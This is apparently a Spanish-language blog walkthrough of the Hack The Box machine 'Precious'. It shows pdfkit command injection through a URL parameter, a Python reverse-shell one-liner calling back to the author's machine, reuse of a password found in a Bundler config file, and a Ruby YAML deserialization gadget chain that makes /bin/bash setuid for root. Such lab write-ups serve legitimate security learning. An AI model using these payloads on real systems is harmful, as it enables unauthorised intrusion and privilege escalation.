Saltar al contenido

Precious – Hack The Box💎

“Brillemos” para obtener esas banderas!

Ahora toca el turno de una nueva máquina de nivel fácil de Hack The Box. Así que sin más preámbulos, vayamos a ello:


  • Máquina: Precious
  • Sistema operativo: Linux
  • Dificultad: Fácil

Siempre, el primer paso que realizo en esta fase es el “escaneo de puertos” en el sistema objetivo, que en este caso la dirección IP es la 10.10.11.189. Para ello usé el siguiente con la herramienta nmap :

nmap -sC -sV -v 10.10.11.189 -Pn

Dando como resultado sólo dos puertos abiertos; 22 con un servicio OpenSSH 8.4p1, y puerto 80 con un Nginx 1.18.0 :

Ya que es probable que un servidor web este corriendo en el puerto 80, tuve que registrar el dominio y dirección IP en mi archivo /etc/hosts de mi sistema atacante:

Ahora si, visitemos el servicio web:

A simple vista parece ser una herramienta que convierte una página web en PDF. Dado que no otorga más información al respecto, y en el código fuente de esta página no hay información de utilidad, decidí continuar la enumeración, ahora buscando algún directorio con la ayuda de dirbuster y gobuster. Pero, no hubo éxito alguno:

Por lo que volví al servidor web, e ingresé una URL como prueba para ver el proceso de conversión a PDF pero, el sitio no aceptó la petición. Así que, opte por correr un servidor web local con la ayuda de python y el siguiente comando sudo python3 -m http.server 80 :

Para después realizar nuevamente la petición pero ahora ingresando la dirección IP de mi servidor web local -misma IP que mi máquina-:

Esta ocasión el proceso se llevó a cabo, y ahora tenemos nuestro sitio web convertido a PDF -según-.

Después de varias revisiones al documento PDF descargado, llegué hasta este resultado por medio de la herramienta exiftool, que nos muestra el nombre del programa con el que fue creado el archivo PDF. Se trata de pdfkit en su versión 0.8.6.

Ya que tenemos más información sobre una herramienta, lo más indicado sería buscar alguna vulnerabilidad conocida en internet. Para ellos sólo basta con agregar la palabra “exploit ” después del nombre del programa y su versión en cuestión, tal como se ve en la siguiente imagen:

La búsqueda dio frutos! En esta publicación de la empresa Snyk 1 podemos ver que pdfkit es vulnerable a un ataque de “Inyección de Comandos“. Debido a que la URL que se ingrese no es propiamente sanitizada. Lo que podría significar que un actor malicioso obtenga información no autorizada:

Antes de atacar al objetivo, me pareció buena idea hacer una prueba de concepto. Usando la misma URL de mi servidor web local. Y le agregué ‘/?name=%20 `pwd`‘ al final, para ver si la herramienta muestra su directorio de trabajo dentro del sistema (print working directory ). Quedando el comando de la siguiente manera:

http://10.10.14.109/?name=%20`pwd`

Aunque la herramienta muestra un posible error. En una nueva pestaña del navegador apareció lo siguiente:

La herramienta nos ha mostrado su directorio de trabajo actual “/var/www/pdfapp “, por lo que podemos concluir que la versión encontrada de pdfkit es vulnerable a “Inyección de Comandos“!!!

Una vez que me he asegurado que existe un vector de ataque, lo siguiente que hice fue justamente trata de explotar el objetivo creando un payload que me ayudase a obtener una shell reversa. Con la ayuda de la extensión de navegador ‘hacktools2 (misma que recomiendo mucho) generé la siguiente línea de código en python3, solamente agregando la dirección IP y puerto de mi máquina atacante. Este código lo puse al final de la URL de mi servidor web local anteriormente utilizada:

http://10.10.14.109?/name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.109",-4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);Import pty; pty.spawn("/bin/bash")'`

Pero antes de realizar la petición, inicié un puerto escucha con ‘netcat ‘ en mi sistema, con el comando nc -lnvp 4444. Para después, ahora si, enviar la petición en el servicio web:

Y aunque aquí todo parece igual, si nos movemos a la terminal en donde tenemos a la espera ‘netcat ‘. Todo ha funcionado de maravilla. Tenemos una shell en el objetivo:

Una vez que tengo acceso al sistema, lo siguiente es identificar en el cual directorio me encuentro en estos momentos, que archivos se encuentran disponibles, y de ser posible, buscar la bandera del usuario:

En este caso, no me fue posible leer lo que contiene el archivo user.txt que seguramente tiene la bandera, ya que el usuario ruby no tiene permisos para leer documentos del directorio /home/henry. Lo que significa que tendré que buscar la manera de cambiar de usuario o escalar privilegios…

Para ello, lo primero que realicé fue buscar dentro del sistema información que fuera valiosa para el resultado que deseaba lograr:

Hasta que dentro del directorio ‘/home/ruby ‘ encontré a su vez otro directorio con un nombre peculiar y no muy común de ver en sistemas linux por defecto, me refiero a .bundle. Dentro de él había un archivo llamado config -por lo regular los archivos con este nombre, suelen tener información valiosa-, que contenía lo siguiente:

Pero si es nada más y nada menos que credenciales de acceso para del usuario henry. Podrán ser útiles para tener acceso por SSH 🤔??

Con la ayuda de la herramienta Remmina, probé dichas credenciales; usuario henry, contraseña Q3c1AqGHtoI0aXAYFH, para ingresar al sistema objetivo vía SSH :

Efectivamente, las credenciales funcionaron y ahora estoy dentro del sistema. Vayamos por la bandera del usuario:

El siguiente paso será obtener la bandera root, previamente escalar privilegios. Para ello lo primero que hice fue ejecutar el comando sudo -l, que nos mostrará los comandos que el usuario henry tiene permitido ejecutar dentro del sistema:

Tal parece que sólo existe un comando, éste ejecuta el archivo /opt/update_dependencies.rb con permisos elevados y sin la necesidad de contraseña. Esto es lo que contenía dicho archivo:

Al parecer la acción que realiza es una actualización del sistema. Y para ello hace uso de otro archivo de nombre dependencies.yml.

Después de una investigar un buen rato, cuál podría ser mi próximo paso a seguir. Llegué hasta una publicación de la empresa Stratum Security 3 , en donde hacen referencia a un vector de ataque que hasta ese momento, no era conocido por mi, “Deserialización YAML “. Básicamente lo que explican es que si creamos un nuevo archivo con el mismo nombre, pero cargado con un payload que nos pueda dar acceso al sistema, al momento de ejecutar el otro archivo que hace uso del .yml, nuestro código malicioso correría tomando los permisos que el archivo ‘dependencies.yml ‘ original tendría.

Siguiendo esa teoría, vamos a hacer la prueba. Por medio del editor de texto nano ( nano dependencies.yml ) creamos el archivo. Para después agregarle el siguiente código de ruby que nos permitiría obtener una shell en reversa hasta nuestro sistema atacante:

---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: "chmod +s /bin/bash"
          method_id: :resolve

En la parte inferior del código podemos apreciar que este a su vez le dirá al sistema que ejecute una terminal (/bin/bash) con los mismos permisos de quien sea el “propietario” de dicha herramienta, que por lo regular es root. Veamos si el ataque funciona; sudo /usr/bin/ruby /opt/update_dependencies.yml :

Vaya, como se aprecia, el payload no tuvo éxito. Probablemente deje pasar algo de largo…

Y así fue. Faltaba solamente ejecutar /bin/bash -p para llamar a la acción a la herramienta:

🛈 -p = no se reinicia el id del usuario efectivo

Y ahora si, tenemos una shell y con permisos de administrador!!!

Lo siguiente y último es ir a capturar la bandera faltante:

Esta máquina fue algo tediosa, pero divertida la verdad. Siempre que se aprende algo nuevo la practica será de gran ayuda.

Referencias:

  1. https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
  2. https://github.com/LasCC/Hack-Tools
  3. https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

🤘 Happy Hacking 🤘

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *